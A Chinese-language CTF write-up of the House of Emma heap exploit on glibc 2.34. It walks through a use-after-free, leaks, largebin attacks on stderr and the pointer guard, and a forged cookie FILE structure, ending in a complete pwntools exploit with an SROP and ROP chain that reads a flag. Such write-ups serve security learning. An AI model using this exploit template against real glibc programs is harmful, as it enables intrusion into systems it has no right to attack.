0%

House Of Emma-2.34-64

House OF Emma 复现

1
GNU C Library (GNU libc) stable release version 2.34
1
2
3
4
5
6
pwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=24a3e1426709a30949d4574c9fb1ae5ff8f5a907, for GNU/Linux 3.2.0, stripped  
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

有沙盒:

1
2
3
4
5
6
7
8
9
10
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
void __fastcall del(char *chunk)
{
unsigned __int8 index; // [rsp+1Fh] [rbp-1h]

index = chunk[1];
if ( index > 0x10u || !chunk_list[index] )
{
puts("Invalid idx");
_exit(0);
}
free((void *)chunk_list[index]); // UAF
}
  • UAF

入侵思路

在 libc-2.34 版本中,常用的 hook 都被 ban 掉了(malloc_hook,free_hook 等),我们要尝试通过控制 IO 来获取 shell

首先进行 leak 操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
add(0, 0x410)
add(1, 0x410)
add(2, 0x420)
add(3, 0x410)
dele(2)
add(4, 0x430)
show(2)
run()
leak_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = leak_addr - 0x1f30b0

edit(2, "a" * 0x10) # 覆盖largebin的FD,BK
show(2) # 泄露largebin的fd_nextsize,bk_nextsize
run()
p.recvuntil("a" * 0x10)
leak_addr = u64(p.recv(6).ljust(8, '\x00'))
heap_base = leak_addr - 0x2ae0

进行 largebin attack,把 stderr 中的 _IO_2_1_stderr_ 覆盖为可控制的 heap 地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55755584a2a0
Size: 0x421
fd: 0x7ff5684cdcc0
bk: 0x7ff5684cdcc0

Free chunk (largebins) | PREV_INUSE
Addr: 0x55755584aae0
Size: 0x431
fd: 0x7ff5684ce0b0
bk: 0x7ff5684ce0b0
fd_nextsize: 0x55755584aae0
bk_nextsize: 0x7ff5684ce820
  • libc-2.29 以后,largebin attack 条件:
    • large chunk 和 unsorted chunk 必须唯一
    • large chunk->size 大于 unsorted chunk->size
    • large chunk->bk_nextsize 设置为 target addr

攻击前:

1
2
3
4
pwndbg> telescope 0x7ff5684ce820+0x20
00:00000x7ff5684ce840 (stderr) —▸ 0x7ff5684ce680 (_IO_2_1_stderr_) ◂— 0xfbad2087
01:00080x7ff5684ce848 (stdout) —▸ 0x7ff5684ce760 (_IO_2_1_stdout_) ◂— 0xfbad2887
02:00100x7ff5684ce850 (stdin) —▸ 0x7ff5684cda80 (_IO_2_1_stdin_) ◂— 0xfbad208b

攻击后:

1
2
3
4
pwndbg> telescope 0x7ff5684ce820+0x20
00:00000x7ff5684ce840 (stderr) —▸ 0x55755584a2a0 ◂— 0x2010
01:00080x7ff5684ce848 (stdout) —▸ 0x7ff5684ce760 (_IO_2_1_stdout_) ◂— 0xfbad2887
02:00100x7ff5684ce850 (stdin) —▸ 0x7ff5684cda80 (_IO_2_1_stdin_) ◂— 0xfbad208b

利用同样的方法攻击 __pointer_chk_guard_local

1
2
3
4
5
6
7
8
9
10
11
12
13
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55faa1d612a0
Size: 0x421
fd: 0x7fe8b3afecc0
bk: 0x7fe8b3afecc0

Free chunk (largebins) | PREV_INUSE
Addr: 0x55faa1d61ae0
Size: 0x431
fd: 0x7fe8b3aff0b0
bk: 0x7fe8b3aff0b0
fd_nextsize: 0x55faa1d61ae0
bk_nextsize: 0x7fe8b3909750

攻击前:

1
2
3
pwndbg> telescope 0x7fe8b3909750+0x20
00:00000x7fe8b3909770 ◂— 0x16ab3b4b4b808105
01:00080x7fe8b3909778 ◂— 0x0

攻击后:

1
2
3
pwndbg> telescope 0x7fe8b3909750+0x20
00:00000x7fe8b3909770 —▸ 0x55faa1d612a0 ◂— 0x2010
01:00080x7fe8b3909778 ◂— 0x0

对位于 stderr 的 FILE 结构体进行如下的伪造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
pwndbg> p (struct _IO_cookie_file)*(0x562b7f47b2a0)
$3 = {
__fp = {
file = {
_flags = 8208,
_IO_read_ptr = 0x421 <error: Cannot access memory at address 0x421>,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0xffffffffffffffff <error: Cannot access memory at address 0xffffffffffffffff>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x562b7f479000,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7fc2360f4b20 <_IO_cookie_jumps+64> /* 这是为了调用_IO_cookie_write */
},
__cookie = 0x562b7f47baf0,
__io_functions = {
read = 0x0,
write = 0x53d2928785000000, /* 已经进行了PTR_DEMANGLE加密 */
seek = 0x0,
close = 0x0
}
}
  • 在 vtable 的检测中对具体位置的检测还是比较宽松的,这使得我们可以在一定的范围内对 vtable 表的起始位置进行偏移,使其我们可以通过偏移来调用在 vtable 表中的任意函数
  • 这里对 vtable 进行偏移,使其可以调用 _IO_cookie_write 函数,从而可以触发 __io_functions->write 指针
  • __io_functions->write 就是进行 PTR_DEMANGLE 加密后的一个 gadget
1
2
3
  0x7fc236047020 <getkeyserv_handle+528>    mov    rdx, qword ptr [rdi + 8]
0x7fc236047024 <getkeyserv_handle+532> mov qword ptr [rsp], rax
0x7fc236047028 <getkeyserv_handle+536> call qword ptr [rdx + 0x20] <setcontext+61>
  • 利用这个 gadget 可以获取位于 [RDI] 中的 __cookie(可控 heap 空间),并且调用位于 __cookie+0x20 处的函数
  • 我们可以把 __cookie+0x20 处布置为 setcontext+61(因为 [RDX] 是可控的)

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
from pwn import *

#context.log_level = "debug"
context.arch = "amd64"
sh = process('./pwn1')
#sh = remote('127.0.0.1', 9999)
libc = ELF('./libc.so.6')
all_payload = ""

def ROL(content, key):
tmp = bin(content)[2:].rjust(64, '0')
return int(tmp[key:] + tmp[:key], 2)

def add(idx, size):
global all_payload
payload = p8(0x1)
payload += p8(idx)
payload += p16(size)
all_payload += payload

def show(idx):
global all_payload
payload = p8(0x3)
payload += p8(idx)
all_payload += payload

def delete(idx):
global all_payload
payload = p8(0x2)
payload += p8(idx)
all_payload += payload

def edit(idx, buf):
global all_payload
payload = p8(0x4)
payload += p8(idx)
payload += p16(len(buf))
payload += str(buf)
all_payload += payload

def run_opcode():
global all_payload
all_payload += p8(5)
sh.sendafter("Pls input the opcode", all_payload)
all_payload = ""

cmd = "b *$rebase(0x13E9)\nb *$rebase(0x1410)\nb *$rebase(0x1434)\nb *$rebase(0x1458)\n"

# leak libc_base
add(0, 0x410)
add(1, 0x410)
add(2, 0x420)
add(3, 0x410)
delete(2)
add(4, 0x430)
show(2)
run_opcode()

libc_base = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x1f30b0 # main_arena + 1104
log.success("libc_base:\t" + hex(libc_base))
libc.address = libc_base

#guard = libc_base + 0x2035f0
guard = libc_base - 0x2890
pop_rdi_addr = libc_base + 0x2daa2
pop_rsi_addr = libc_base + 0x37c0a
pop_rax_addr = libc_base + 0x446c0
syscall_addr = libc_base + 0x883b6
gadget_addr = libc_base + 0x146020 # mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
setcontext_addr = libc_base + 0x50bc0

# leak heapbase
edit(2, "a" * 0x10)
show(2)
run_opcode()
sh.recvuntil("a" * 0x10)
heap_base = u64(sh.recv(6).ljust(8, '\x00')) - 0x2ae0
log.success("heap_base:\t" + hex(heap_base))

# largebin attack stderr
delete(0)
edit(2, p64(libc_base + 0x1f30b0) * 2 + p64(heap_base + 0x2ae0) + p64(libc.sym['stderr'] - 0x20))
add(5, 0x430)
edit(2, p64(heap_base + 0x22a0) + p64(libc_base + 0x1f30b0) + p64(heap_base + 0x22a0) * 2)
edit(0, p64(libc_base + 0x1f30b0) + p64(heap_base + 0x2ae0) * 3)
add(0, 0x410)
add(2, 0x420)
run_opcode()

# largebin attack guard
delete(2)
add(6, 0x430)
delete(0)
edit(2, p64(libc_base + 0x1f30b0) * 2 + p64(heap_base + 0x2ae0) + p64(guard - 0x20))
add(7, 0x450)
edit(2, p64(heap_base + 0x22a0) + p64(libc_base + 0x1f30b0) + p64(heap_base + 0x22a0) * 2)
edit(0, p64(libc_base + 0x1f30b0) + p64(heap_base + 0x2ae0) * 3)
add(2, 0x420)
add(0, 0x410)
run_opcode()

# change top chunk size
delete(7)
add(8, 0x430)
edit(7, 'a' * 0x438 + p64(0x300))
run_opcode()

next_chain = 0
srop_addr = heap_base + 0x2ae0 + 0x10
fake_IO_FILE = 2 * p64(0)
fake_IO_FILE += p64(0) # _IO_write_base = 0
fake_IO_FILE += p64(0xffffffffffffffff) # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0) # _IO_buf_base
fake_IO_FILE += p64(0) # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(next_chain) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heap_base) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(libc.sym['_IO_cookie_jumps'] + 0x40) # vtable
fake_IO_FILE += p64(srop_addr) # rdi
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(ROL(gadget_addr ^ (heap_base + 0x22a0), 0x11))

fake_frame_addr = srop_addr
frame = SigreturnFrame()
frame.rdi = fake_frame_addr + 0xF8
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi_addr + 1 # ret

rop_data = [
pop_rax_addr, # sys_open('flag', 0)
2,
syscall_addr,
pop_rax_addr, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_addr,
3,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr,
pop_rax_addr, # sys_write(1, heap, 0x100)
1,
pop_rdi_addr,
1,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr
]
payload = p64(0) + p64(fake_frame_addr)
payload = payload.ljust(0x20,"\x00")
payload += p64(setcontext_addr + 61)
payload += str(frame).ljust(0xF8, '\x00')[0x28:]
payload +='./flag'.ljust(0x10, '\x00')
payload += flat(rop_data)

edit(0, fake_IO_FILE)
edit(2, payload)
#gdb.attach(sh,cmd)

add(8, 0x450) # House OF Kiwi
#gdb.attach(sh, "b _IO_cookie_write")
run_opcode()

sh.interactive()

小结:

这个题我直接调大佬的 exp,感觉套路比较固定,可以用来当模板,主要想学习一下 House OF Emma 的调用流程

比较重要的一点就是:通过伪造 vtable 的偏移来进行 vtable 函数任意执行

  • 在 libc-2.24 版本以前,vtable 的范围没有受到限制,那时随便一个 heap 地址都可以伪造 vtable
  • 在 libc-2.24 版本以后,要求我们的 vtable 必须在 __stop___libc_IO_vtables__start___libc_IO_vtables 之间,这时我们就只能通过伪造 vtable 的偏移来调用其他的 IO 链了